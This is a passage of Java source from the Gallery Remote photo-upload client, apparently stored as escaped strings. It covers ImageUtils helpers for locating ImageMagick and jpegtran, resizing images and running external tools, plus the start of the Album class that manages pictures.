\"UTF-16\"));\n\t\t\t\t\t\t\t\tString line;\n\t\t\t\t\t\t\t\tPattern pat = Pattern.compile(\"^\\\\\\\"BinPath\\\\\\\"=\\\\\\\"(.*)\\\\\\\"\", Pattern.CASE_INSENSITIVE);\n\t\t\t\t\t\t\t\twhile ((line = br.readLine()) != null) {\n\t\t\t\t\t\t\t\t\tMatcher m = pat.matcher(line);\n\t\t\t\t\t\t\t\t\tif (m.find()) {\n\t\t\t\t\t\t\t\t\t\timPath = m.group(1) + \"\\\\\" + imPath;\n\n\t\t\t\t\t\t\t\t\t\tif (!imPath.endsWith(\".exe\")) {\n\t\t\t\t\t\t\t\t\t\t\timPath += \".exe\";\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tLog.log(Log.LEVEL_INFO, MODULE, \"Found ImageMagick in registry. imPath is now \" + imPath);\n\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tbr.close();\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\ttempFile.delete();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// try to validate that IM works\n\t\t\t\t\tint exitValue = exec(new String[] {imPath, \"-version\"});\n\n\t\t\t\t\tif (exitValue == -2) {\n\t\t\t\t\t\tLog.log(Log.LEVEL_CRITICAL, MODULE, \"Can't find ImageMagick in the system Path. Disabling\");\n\t\t\t\t\t\tstopUsingIM();\n\t\t\t\t\t}\n\t\t\t\t} else if (!new File(imPath).exists()) {\n\t\t\t\t\tLog.log(Log.LEVEL_CRITICAL, MODULE, \"Can't find ImageMagick Convert at the above path. Disabling\");\n\t\t\t\t\tstopUsingIM();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (useIM) {\n\t\t\t\tfilterName[THUMB] = p.getProperty(\"im.thumbnailResizeFilter\");\n\t\t\t\tfilterName[PREVIEW] = p.getProperty(\"im.previewResizeFilter\");\n\t\t\t\tfilterName[UPLOAD] = p.getProperty(\"im.uploadResizeFilter\");\n\t\t\t\tif (filterName[UPLOAD] == null) {\n\t\t\t\t\tfilterName[UPLOAD] = filterName[PREVIEW];\n\t\t\t\t}\n\n\t\t\t\tformat[THUMB] = p.getProperty(\"im.thumbnailResizeFormat\", \"gif\");\n\t\t\t\tformat[PREVIEW] = p.getProperty(\"im.previewResizeFormat\", \"jpg\");\n\t\t\t\tformat[UPLOAD] = null;\n\t\t\t}\n\n\t\t\t// read quality even if useIM is false for java-based resize\n\t\t\tjpegQuality = p.getIntProperty(\"im.jpegQuality\", jpegQuality);\n\t\t} catch (Exception e) {\n\t\t\tLog.logException(Log.LEVEL_CRITICAL, MODULE, e);\n\t\t\tstopUsingIM();\n\t\t}\n\n\t\tdefaultThumbnail = loadJava(ImageUtils.class.getResource(DEFAULT_RESOURCE),\n\t\t\t\tGalleryRemote._().properties.getThumbnailSize(), true);\n\n\t\tunrecognizedThumbnail = loadJava(ImageUtils.class.getResource(UNRECOGNIZED_RESOURCE),\n\t\t\t\tGalleryRemote._().properties.getThumbnailSize(), true);\n\n\t\t// Making sure jpegtran works\n\t\ttry {\n\t\t\tPropertiesFile pt = null;\n\n\t\t\tif (new File(\"jpegtran/jpegtran.properties\").exists()) {\n\t\t\t\tpt = new PropertiesFile(\"jpegtran/jpegtran\");\n\t\t\t} else if (new File(\"jpegtran.properties\").exists()) {\n\t\t\t\tpt = new PropertiesFile(\"jpegtran\");\n\t\t\t}\n\n\t\t\tGalleryProperties p = null;\n\n\t\t\tif (pt != null) {\n\t\t\t\tpt.read();\n\n\t\t\t\t// allow overriding from main property file\n\t\t\t\tp = new GalleryProperties(pt);\n\t\t\t\tGalleryRemote._().defaults.copyProperties(p);\n\t\t\t} else {\n\t\t\t\tp = GalleryRemote._().defaults;\n\t\t\t}\n\t\t\t\n\t\t\tp = GalleryRemote._().properties;\n\n\t\t\tuseJpegtran = p.getBooleanProperty(\"jp.enabled\");\n\t\t\tuseJpegtranCrop = p.getBooleanProperty(\"jp.crop.enabled\");\n\t\t\tLog.log(Log.LEVEL_INFO, MODULE, \"jp.enabled: \" + useJpegtran);\n\t\t\tif (useJpegtran) {\n\t\t\t\tjpegtranPath = p.getProperty(\"jp.path\");\n\t\t\t\tLog.log(Log.LEVEL_INFO, MODULE, \"jp.path: \" + jpegtranPath);\n\n\t\t\t\tif (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1\n\t\t\t\t\t\t&& !jpegtranPath.endsWith(\".exe\")) {\n\t\t\t\t\tjpegtranPath += \".exe\";\n\t\t\t\t}\n\n\t\t\t\tjpegtranIgnoreErrorCode = p.getBooleanProperty(\"jp.ignoreErrorCode\", jpegtranIgnoreErrorCode);\n\t\t\t\tLog.log(Log.LEVEL_INFO, MODULE, \"jp.ignoreErrorCode: \" + jpegtranIgnoreErrorCode);\n\n\t\t\t\tif (jpegtranPath.indexOf('/') == -1 && jpegtranPath.indexOf('\\\\') == -1) {\n\t\t\t\t\tLog.log(Log.LEVEL_CRITICAL, MODULE, \"jpegtran path is not fully qualified, \" +\n\t\t\t\t\t\t\t\"presence won't be tested until later\");\n\t\t\t\t} else if (!new File(jpegtranPath).exists()) {\n\t\t\t\t\tLog.log(Log.LEVEL_CRITICAL, MODULE, \"Can't find jpegtran at the above path\");\n\t\t\t\t\tstopUsingJpegtran();\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tLog.logException(Log.LEVEL_CRITICAL, MODULE, e);\n\t\t\tstopUsingJpegtran();\n\t\t}\n\t}\n\n\n\tpublic static void purgeTemp() {\n\t\tfor (Iterator it = toDelete.iterator(); it.hasNext();) {\n\t\t\tFile file = (File) it.next();\n\t\t\tfile.delete();\n\t\t}\n\t}\n\n\tpublic static Dimension getSizeKeepRatio(Dimension source, Dimension target, boolean noStretch) {\n\t\tif (noStretch && target.width > source.width && target.height > source.height) {\n\t\t\treturn null;\n\t\t}\n\n\t\tDimension result = new Dimension();\n\n\t\tfloat sourceRatio = Math.abs((float) source.width / source.height);\n\t\tfloat targetRatio = Math.abs((float) target.width / target.height);\n\n\t\tif (Math.abs(targetRatio) > Math.abs(sourceRatio)) {\n\t\t\tresult.height = target.height;\n\t\t\tresult.width = (int) (target.height * sourceRatio *\n\t\t\t\t\t(target.height * target.width > 0?1:-1));\n\t\t} else {\n\t\t\tresult.width = target.width;\n\t\t\tresult.height = (int) (target.width / sourceRatio *\n\t\t\t\t\t(target.height * target.width > 0?1:-1));\n\t\t}\n\n\t\treturn result;\n\t}\n\n\tpublic static float getRatio(Dimension source, Dimension target) {\n\t\tfloat widthRatio = (float) target.width / source.width;\n\t\tfloat heightRatio = (float) target.height / source.height;\n\n\t\tif (heightRatio > widthRatio) {\n\t\t\treturn widthRatio;\n\t\t} else {\n\t\t\treturn heightRatio;\n\t\t}\n\t}\n\n\tpublic static class AngleFlip {\n\t\tpublic int angle = 0;\n\t\tpublic boolean flip = false;\n\n\t\tpublic AngleFlip(int angle, boolean flip) {\n\t\t\tthis.angle = angle;\n\t\t\tthis.flip = flip;\n\t\t}\n\t}\n\n\tpublic static File deterministicTempFile(String prefix, String suffix, File directory, String hash) {\n\t\tif (directory == null) {\n\t\t\tdirectory = new File(System.getProperty(\"java.io.tmpdir\"));\n\t\t}\n\n\t\treturn new File(directory, prefix + hash.hashCode() + suffix);\n\t}\n\n\n\tpublic static ExifData getExifData(String filename) {\n\t\ttry {\n\t\t\tClass c = GalleryRemote.secureClassForName(\"com.gallery.GalleryRemote.util.ExifImageUtils\");\n\t\t\tMethod m = c.getMethod(\"getExifData\", new Class[]{String.class});\n\t\t\treturn (ExifData) m.invoke(null, new Object[]{filename});\n\t\t} catch (Throwable e) {\n\t\t\tLog.log(Log.LEVEL_ERROR, MODULE, \"Exif library is not installed.\");\n\t\t\t//Log.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\treturn null;\n\t\t}\n\t}\n\n\t/*public static ImageUtils.AngleFlip getExifTargetOrientation(String filename) {\n\ttry {\n\tClass c = Class.forName(\"com.gallery.GalleryRemote.util.ExifImageUtils\");\n\tMethod m = c.getMethod(\"getExifTargetOrientation\", new Class[]{String.class});\n\treturn (AngleFlip) m.invoke(null, new Object[]{filename});\n\t} catch (Throwable e) {\n\tLog.log(Log.LEVEL_TRACE, MODULE, \"Exif library is not installed.\");\n\treturn null;\n\t}\n\t}\n\n\tpublic static Date getExifDateCreated(String filename) {\n\ttry {\n\tClass c = Class.forName(\"com.gallery.GalleryRemote.util.ExifImageUtils\");\n\tMethod m = c.getMethod(\"getExifDateCreated\", new Class[]{String.class});\n\treturn (Date) m.invoke(null, new Object[]{filename});\n\t} catch (Throwable e) {\n\tLog.log(Log.LEVEL_TRACE, MODULE, \"Exif library is not installed.\");\n\treturn null;\n\t}\n\t}*/\n\n\tstatic Boolean exifAvailable = null;\n\tpublic static boolean isExifAvailable() {\n\t\tif (exifAvailable == null) {\n\t\t\ttry {\n\t\t\t\tClass c = GalleryRemote.secureClassForName(\"com.gallery.GalleryRemote.util.ExifImageUtils\");\n\t\t\t\tc.getMethod(\"getExifData\", new Class[]{String.class});\n\t\t\t\texifAvailable = Boolean.TRUE;\n\t\t\t} catch (Throwable e) {\n\t\t\t\tLog.log(Log.LEVEL_ERROR, MODULE, \"Exif library is not installed.\");\n\t\t\t\t//Log.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\t\texifAvailable = Boolean.FALSE;\n\t\t\t}\n\t\t}\n\n\t\treturn exifAvailable;\n\t}\n\n\t/* ********* Utilities ********** */\n\tpublic static List<File> expandDirectories(List<File> filesAndFolders)\n\t\t\tthrows IOException {\n\t\tArrayList<File> allFilesList = new ArrayList<File>();\n\n\t\tfor (File f : filesAndFolders) {\n\t\t\tif (f.isDirectory()) {\n\t\t\t\tallFilesList.addAll(listFilesRecursive(f));\n\t\t\t} else {\n\t\t\t\tallFilesList.add(f);\n\t\t\t}\n\t\t}\n\n\t\treturn allFilesList;\n\t}\n\n\tpublic static List<File> listFilesRecursive(File dir)\n\t\t\tthrows IOException {\n\t\tArrayList<File> ret = new ArrayList<File>();\n\n\t\t/* File.listFiles: stupid call returns null if there's an\n\t\t\t\ti/o exception *or* if the file is not a directory, making a mess.\n\t\t\t\thttp://java.sun.com/j2se/1.4/docs/api/java/io/File.html#listFiles() */\n\t\tFile[] fileArray = dir.listFiles();\n\t\tif (fileArray == null) {\n\t\t\tif (dir.isDirectory()) {\n\t\t\t\t/* convert to exception */\n\t\t\t\tthrow new IOException(\"i/o exception listing directory: \" + dir.getPath());\n\t\t\t} else {\n\t\t\t\t/* this method should only be called on a directory */\n\t\t\t\tLog.log(Log.LEVEL_CRITICAL, MODULE, \"assertion failed: listFilesRecursive called on a non-dir file\");\n\t\t\t\treturn ret;\n\t\t\t}\n\t\t}\n\n\t\tList<File> files = Arrays.asList(fileArray);\n\n\t\tfor (File f : files) {\n\t\t\tif (f.isDirectory()) {\n\t\t\t\tret.addAll(listFilesRecursive(f));\n\t\t\t} else {\n\t\t\t\tret.add(f);\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t}\n\n\tpublic static int exec(String cmdline) {\n\t\treturn exec(cmdline, null);\n\t}\n\n\tpublic static int exec(String cmdline, StringBuffer output) {\n\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"Executing \" + cmdline);\n\n\t\ttry {\n\t\t\tProcess p = Runtime.getRuntime().exec(cmdline);\n\n\t\t\treturn pumpExec(p, output);\n\t\t} catch (InterruptedException e) {\n\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\treturn -1;\n\t\t} catch (IOException e) {\n\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t}\n\n\t\treturn 1;\n\t}\n\n\tpublic static int exec(String[] cmd) {\n\t\treturn exec(cmd, null);\n\t}\n\n\tpublic static int exec(String[] cmd, StringBuffer output) {\n\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"Executing \" + Arrays.asList(cmd));\n\n\t\ttry {\n\t\t\tProcess p = Runtime.getRuntime().exec(cmd);\n\n\t\t\treturn pumpExec(p, output);\n\t\t} catch (InterruptedException e) {\n\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\treturn -1;\n\t\t} catch (IOException e) {\n\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\treturn -2;\n\t\t}\n\t}\n\n\tprivate static int pumpExec(Process p, StringBuffer output) throws InterruptedException, IOException {\n\t\tDataInputStream out = new DataInputStream(new BufferedInputStream(p.getInputStream()));\n\t\tDataInputStream err = new DataInputStream(new BufferedInputStream(p.getErrorStream()));\n\n\t\tint exitValue = p.waitFor();\n\n\t\tString line;\n\t\twhile ((line = out.readLine()) != null) {\n\t\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"Out: \" + line);\n\t\t\tif (output != null) {\n\t\t\t\toutput.append(line).append(\"\\n\");\n\t\t\t}\n\t\t}\n\n\t\twhile ((line = err.readLine()) != null) {\n\t\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"Err: \" + line);\n\t\t}\n\n\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"Returned with value \" + exitValue);\n\n\t\treturn exitValue;\n\t}\n\n\tpublic static void deferredTasks() {\n\t\tif (deferredStopUsingIM) {\n\t\t\tdeferredStopUsingIM = false;\n\n\t\t\tstopUsingIM();\n\t\t}\n\n\t\tif (deferredStopUsingJpegtran) {\n\t\t\tdeferredStopUsingJpegtran = false;\n\n\t\t\tstopUsingJpegtran();\n\t\t}\n\n\t\tif (deferredStopUsingJpegtranCrop) {\n\t\t\tdeferredStopUsingJpegtranCrop = false;\n\n\t\t\tstopUsingJpegtranCrop();\n\t\t}\n\n\t\tif (deferredOutOfMemory) {\n\t\t\tdeferredOutOfMemory = false;\n\n\t\t\toutOfMemoryError();\n\t\t}\n\t}\n\n\tstatic void stopUsingIM() {\n\t\tuseIM = false;\n\n\t\tif (!GalleryRemote._().properties.getBooleanProperty(PreferenceNames.SUPPRESS_WARNING_IM, false)) {\n\t\t\tif (GalleryRemote._().getMainFrame() != null\n\t\t\t\t\t&& GalleryRemote._().getMainFrame().isVisible()) {\n\t\t\t\tUrlMessageDialog md = new UrlMessageDialog(\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"warningTextIM\"),\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"warningUrlIM\"),\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"warningUrlTextIM\")\n\t\t\t\t);\n\n\t\t\t\tif (md.dontShow()) {\n\t\t\t\t\tGalleryRemote._().properties.setBooleanProperty(PreferenceNames.SUPPRESS_WARNING_IM, true);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdeferredStopUsingIM = true;\n\t\t\t}\n\t\t}\n\t}\n\n\tstatic boolean stopUsingJavaResize() {\n\t\tUrlMessageDialog md = new UrlMessageDialog(\n\t\t\t\tGRI18n.getString(MODULE, \"warningTextJava\"),\n\t\t\t\tnull,\n\t\t\t\tnull,\n\t\t\t\tGRI18n.getString(MODULE, \"useJava\"),\n\t\t\t\tGRI18n.getString(MODULE, \"dontUseJava\")\n\t\t);\n\n\t\tboolean useJavaResize = (md.getButtonChosen() == 1);\n\n\t\tif (md.dontShow()) {\n\t\t\tGalleryRemote._().properties.setBooleanProperty(PreferenceNames.SUPPRESS_WARNING_JAVA, true);\n\t\t\tGalleryRemote._().properties.setBooleanProperty(PreferenceNames.USE_JAVA_RESIZE, useJavaResize);\n\t\t}\n\n\t\treturn !useJavaResize;\n\t}\n\n\tstatic void stopUsingJpegtran() {\n\t\tuseJpegtran = false;\n\n\t\tif (!GalleryRemote._().properties.getBooleanProperty(PreferenceNames.SUPPRESS_WARNING_JPEGTRAN, false)) {\n\t\t\tif (GalleryRemote._().getMainFrame() != null\n\t\t\t\t\t&& GalleryRemote._().getMainFrame().isVisible()) {\n\t\t\t\tUrlMessageDialog md = new UrlMessageDialog(\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"warningTextJpegtran\"),\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"warningUrlJpegtran\"),\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"warningUrlTextJpegtran\")\n\t\t\t\t);\n\n\t\t\t\tif (md.dontShow()) {\n\t\t\t\t\tGalleryRemote._().properties.setBooleanProperty(PreferenceNames.SUPPRESS_WARNING_JPEGTRAN, true);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdeferredStopUsingJpegtran = true;\n\t\t\t}\n\t\t}\n\t}\n\n\tstatic void stopUsingJpegtranCrop() {\n\t\tuseJpegtranCrop = false;\n\n\t\tif (!GalleryRemote._().properties.getBooleanProperty(PreferenceNames.SUPPRESS_WARNING_JPEGTRAN_CROP, false)) {\n\t\t\tif (GalleryRemote._().getMainFrame() != null\n\t\t\t\t\t&& GalleryRemote._().getMainFrame().isVisible()) {\n\t\t\t\tUrlMessageDialog md = new UrlMessageDialog(\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"warningTextJpegtranCrop\"),\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"warningUrlJpegtranCrop\"),\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"warningUrlTextJpegtranCrop\")\n\t\t\t\t);\n\n\t\t\t\tif (md.dontShow()) {\n\t\t\t\t\tGalleryRemote._().properties.setBooleanProperty(PreferenceNames.SUPPRESS_WARNING_JPEGTRAN_CROP, true);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdeferredStopUsingJpegtranCrop = true;\n\t\t\t}\n\t\t}\n\t}\n\n\tstatic void outOfMemoryError() {\n\t\tif (!GalleryRemote._().properties.getBooleanProperty(PreferenceNames.SUPPRESS_WARNING_OUT_OF_MEMORY, false)) {\n\t\t\tif (GalleryRemote._().getMainFrame() != null\n\t\t\t\t\t&& GalleryRemote._().getMainFrame().isVisible()) {\n\t\t\t\tUrlMessageDialog md = new UrlMessageDialog(\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"warningTextOutOfMemory\"),\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"warningUrlOutOfMemory\"),\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"warningUrlTextOutOfMemory\")\n\t\t\t\t);\n\n\t\t\t\tif (md.dontShow()) {\n\t\t\t\t\tGalleryRemote._().properties.setBooleanProperty(PreferenceNames.SUPPRESS_WARNING_OUT_OF_MEMORY, true);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdeferredOutOfMemory = true;\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static void displayMetadata(Node root) {\n\t\tdisplayMetadata(root, 0);\n\t}\n\n\tstatic void indent(int level) {\n\t\tfor (int i = 0; i < level; i++) {\n\t\t\tSystem.out.print(\" \");\n\t\t}\n\t}\n\n\tstatic void displayMetadata(Node node, int level) {\n\t\tindent(level); // emit open tag\n\t\tSystem.out.print(\"<\" + node.getNodeName());\n\t\tNamedNodeMap map = node.getAttributes();\n\t\tif (map != null) { // print attribute values\n\t\t\tint length = map.getLength();\n\t\t\tfor (int i = 0; i < length; i++) {\n\t\t\t\tNode attr = map.item(i);\n\t\t\t\tSystem.out.print(\" \" + attr.getNodeName() +\n\t\t\t\t\t\t\"=\\\"\" + attr.getNodeValue() + \"\\\"\");\n\t\t\t}\n\t\t}\n\n\t\tNode child = node.getFirstChild();\n\t\tif (child != null) {\n\t\t\tSystem.out.println(\">\"); // close current tag\n\t\t\twhile (child != null) { // emit child tags recursively\n\t\t\t\tdisplayMetadata(child, level + 1);\n\t\t\t\tchild = child.getNextSibling();\n\t\t\t}\n\t\t\tindent(level); // emit close tag\n\t\t\tSystem.out.println(\"</\" + node.getNodeName() + \">\");\n\t\t} else {\n\t\t\tSystem.out.println(\"/>\");\n\t\t}\n\t}\n\n\tpublic static BufferedImage createResizedCopy(Image originalImage,\n\t int scaledWidth, int scaledHeight, Object hint)\n\t{\n\t\tBufferedImage scaledBI = new BufferedImage(scaledWidth, scaledHeight, BufferedImage.TYPE_INT_ARGB);\n\n\t\tGraphics2D g = scaledBI.createGraphics();\n\t\tg.setRenderingHint(RenderingHints.KEY_INTERPOLATION, hint);\n\t\tg.drawImage(originalImage, 0, 0, scaledWidth, scaledHeight, null);\n\t\tg.dispose();\n\n\t\treturn scaledBI;\n\t}\n}", "public class Album extends GalleryItem implements ListModel, Serializable, PreferenceNames {\n\t/* -------------------------------------------------------------------------\n\t * CONSTANTS\n\t */\n\tpublic static final String MODULE = \"Album\";\n\n\n\t/* -------------------------------------------------------------------------\n\t * LOCAL STORAGE\n\t */\n\tArrayList<Picture> pictures = new ArrayList<Picture>();\n\n\n\t/* -------------------------------------------------------------------------\n\t * SERVER INFO\n\t */\n\t//Gallery gallery = null;\n\t//ArrayList subAlbums = new ArrayList();\n\n\t//Album parent; // parent Album\n\t//String title = GRI18n.getString(MODULE, \"title\");\n\tString name;\n\tArrayList<String> extraFields;\n\tString summary;\n\n\tBoolean overrideResize = null;\n\tBoolean overrideResizeDefault = null;\n\tint overrideResizeDimension = -1;\n\tBoolean overrideAddToBeginning = null;\n\n\tint autoResize = 0;\n\n\tboolean hasFetchedInfo = false;\n\tboolean hasFetchedImages = false;\n\n\ttransient private Long pictureFileSize;\n\ttransient private Integer albumDepth;\n\ttransient private boolean suppressEvents = false;\n\n\tpublic static List extraFieldsNoShow = Arrays.asList(\"Capture date\", \"Upload date\", \"Description\");\n\tpublic static List extraFieldsNoShowG2 = Arrays.asList(\"Capture date\", \"Upload date\");\n\n\n\tpublic Album(Gallery gallery) {\n\t\tsuper(gallery);\n\n\t\tsetAllowsChildren(true);\n\t}\n\n\t/**\n\t * Retrieves the album properties from the server.\n\t */\n\tpublic void fetchAlbumProperties(StatusUpdate su) {\n\t\tif (!hasFetchedInfo && getGallery().getComm().hasCapability(GalleryCommCapabilities.CAPA_ALBUM_INFO)) {\n\t\t\tif (su == null) {\n\t\t\t\tsu = new StatusUpdateAdapter() {\n\t\t\t\t};\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\tgallery.getComm(su).albumProperties(su, this, false);\n\t\t\t} catch (RuntimeException e) {\n\t\t\t\tLog.log(Log.LEVEL_INFO, MODULE, \"Server probably doesn't support album-properties\");\n\t\t\t\tLog.logException(Log.LEVEL_INFO, MODULE, e);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void fetchAlbumImages(StatusUpdate su, boolean recursive, int maxPictures) {\n\t\tfetchAlbumImages(su, recursive, maxPictures, false);\n\t}\n\n\tpublic void fetchAlbumImages(StatusUpdate su, boolean recursive, int maxPictures, boolean random) {\n\t\tif (getGallery().getComm().hasCapability(GalleryCommCapabilities.CAPA_FETCH_ALBUM_IMAGES)) {\n\t\t\tif (su == null) {\n\t\t\t\tsu = new StatusUpdateAdapter() {\n\t\t\t\t};\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\tremoveRemotePictures();\n\n\t\t\t\tgallery.getComm(su).fetchAlbumImages(su, this, recursive, true, maxPictures, random);\n\t\t\t} catch (RuntimeException e) {\n\t\t\t\tLog.log(Log.LEVEL_INFO, MODULE, \"Server probably doesn't support album-fetch-images\");\n\t\t\t\tLog.logException(Log.LEVEL_INFO, MODULE, e);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void removeRemotePictures() {\n\t\tint l = pictures.size();\n\t\tfor (Iterator it = pictures.iterator(); it.hasNext();) {\n\t\t\tPicture picture = (Picture) it.next();\n\t\t\tif (picture.isOnline()) {\n\t\t\t\tit.remove();\n\t\t\t}\n\t\t}\n\n\t\tfireContentsChanged(this, 0, l - 1);\n\t}\n\n\tpublic void moveAlbumTo(StatusUpdate su, Album newParent) {\n\t\tif (getGallery().getComm().hasCapability(GalleryCommCapabilities.CAPA_MOVE_ALBUM)) {\n\t\t\tif (su == null) {\n\t\t\t\tsu = new StatusUpdateAdapter() {\n\t\t\t\t};\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\tif (gallery.getComm(su).moveAlbum(su, this, newParent, false)) {\n\t\t\t\t\tgallery.removeNodeFromParent(this);\n\t\t\t\t\tgallery.insertNodeInto(this, newParent, newParent.getChildCount());\n\t\t\t\t}\n\n\t\t\t\t//gallery.fetchAlbums(su);\n\t\t\t} catch (RuntimeException e) {\n\t\t\t\tLog.log(Log.LEVEL_INFO, MODULE, \"Server probably doesn't support move-album\");\n\t\t\t\tLog.logException(Log.LEVEL_INFO, MODULE, e);\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * Sets the server auto resize dimension.\n\t * \n\t * @param autoResize the server's resize dimension\n\t */\n\tpublic void setServerAutoResize(int autoResize) {\n\t\tthis.autoResize = autoResize;\n\t\thasFetchedInfo = true;\n\t}\n\n\t/**\n\t * Gets the server auto resize dimension.\n\t * \n\t * @return the server's resize dimension for this album\n\t */\n\tpublic int getServerAutoResize() {\n\t\tfetchAlbumProperties(null);\n\n\t\treturn autoResize;\n\t}\n\n\t/**\n\t * Sets the gallery attribute of the Album object\n\t * \n\t * @param gallery The new gallery\n\t */\n\t/*public void setGallery(Gallery gallery) {\n\t\tthis.gallery = gallery;\n\t}*/\n\n\t/**\n\t * Gets the gallery attribute of the Album object\n\t * \n\t * @return The gallery\n\t */\n\tpublic Gallery getGallery() {\n\t\treturn gallery;\n\t}\n\n\t/**\n\t * Gets the pictures inside the album\n\t * \n\t * @return The pictures value\n\t */\n\tpublic Iterator<Picture> getPictures() {\n\t\treturn pictures.iterator();\n\t}\n\n\t/**\n\t * Adds a picture to the album\n\t * \n\t * @param p the picture to add. This will change its parent album\n\t */\n\tpublic void addPicture(Picture p) {\n\t\tp.setParent(this);\n\t\taddPictureInternal(p);\n\n\t\tint index = pictures.indexOf(p);\n\t\tfireIntervalAdded(this, index, index);\n\t}\n\n\t/**\n\t * Adds a picture to the album\n\t * \n\t * @param file the file to create the picture from\n\t */\n\tpublic Picture addPicture(File file) {\n\t\tPicture p = new Picture(gallery, file);\n\t\tp.setParent(this);\n\t\taddPictureInternal(p);\n\n\t\tint index = pictures.indexOf(p);\n\t\tfireIntervalAdded(this, index, index);\n\n\t\treturn p;\n\t}\n\n\t/**\n\t * Adds pictures to the album\n\t * \n\t * @param files the files to create the pictures from\n\t */\n\tpublic ArrayList<Picture> addPictures(File[] files) {\n\t\treturn addPictures(files, -1);\n\t}\n\n\t/**\n\t * Adds pictures to the album at a specified index\n\t * \n\t * @param files the files to create the pictures from\n\t * @param index the index in the list at which to begin adding\n\t */\n\tpublic ArrayList<Picture> addPictures(File[] files, int index) {\n\t\tList<File> expandedFiles = Arrays.asList(files);\n\n\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"addPictures: \" + expandedFiles);\n\n\t\ttry {\n\t\t\texpandedFiles = ImageUtils.expandDirectories(Arrays.asList(files));\n\t\t} catch (IOException e) {\n\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t}\n\n\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"addPictures (expanded): \" + expandedFiles);\n\n\t\tArrayList<Picture> pictures = new ArrayList<Picture>(expandedFiles.size());\n\n\t\tfor (File f : expandedFiles) {\n\t\t\tPicture p = new Picture(gallery, f);\n\t\t\tp.setParent(this);\n\t\t\tif (index == -1) {\n\t\t\t\taddPictureInternal(p);\n\t\t\t} else {\n\t\t\t\taddPictureInternal(index++, p);\n\t\t\t}\n\n\t\t\tpictures.add(p);\n\t\t}\n\n\t\tfireContentsChanged(this, 0, pictures.size() - 1);\n\n\t\treturn pictures;\n\t}\n\n\t/**\n\t * Adds picturesA to the album\n\t */\n\tpublic void addPictures(List<Picture> picturesL) {\n\t\taddPictures(picturesL, -1);\n\t}\n\n\tpublic void addPictures(List<Picture> picturesL, int index) {\n\t\tfor (Picture p : picturesL) {\n\t\t\tp.setParent(this);\n\t\t\tif (index == -1) {\n\t\t\t\tpictures.add(p);\n\t\t\t} else {\n\t\t\t\tpictures.add(index++, p);\n\t\t\t}\n\t\t}\n\n\t\tgallery.setDirty(true);\n\n\t\tfireContentsChanged(this, 0, pictures.size() - 1);\n\t}\n\n\tprivate void addPictureInternal(Picture p) {\n\t\taddPictureInternal(-1, p);\n\t}\n\n\tprivate void addPictureInternal(int index, Picture p) {\n\t\t// handle EXIF\n\t\tif (GalleryRemote._().properties.getBooleanProperty(EXIF_AUTOROTATE)\n\t\t\t\t&& p.getExifData() != null) {\n\t\t\tImageUtils.AngleFlip af = p.getExifData().getTargetOrientation();\n\n\t\t\tif (af != null) {\n\t\t\t\tp.setFlipped(af.flip);\n\t\t\t\tp.setAngle(af.angle);\n\t\t\t\tp.setSuppressServerAutoRotate(true);\n\t\t\t}\n\t\t}\n\n\t\tif (index == -1) {\n\t\t\tpictures.add(p);\n\t\t} else {\n\t\t\tpictures.add(index, p);\n\t\t}\n\n\t\tgallery.setDirty(true);\n\t}\n\n\tpublic void sortPicturesAlphabetically() {\n\t\tCollections.sort(pictures, new NaturalOrderComparator<Picture>());\n\t\tfireContentsChanged(this, 0, pictures.size() - 1);\n\t}\n\n /**\n * Sorts pictures based on the EXIF Date Created. If no\n * date, then fall to the bottom.\n */\n public void sortPicturesCreated() {\n Collections.sort(pictures, new Comparator<Picture>() {\n\n public int compare(Picture p1, Picture p2) {\n\t\t\t\tDate d1 = null, d2 = null;\n\n\t\t\t\tif (p1.getExifData() != null) {\n \td1 = p1.getExifData().getCreationDate();\n\t\t\t\t}\n\t\t\t\tif (p2.getExifData() != null) {\n \td2 = p2.getExifData().getCreationDate();\n\t\t\t\t}\n\n if (d1 != null && d2 == null) {\n return 1;\n }\n \n if 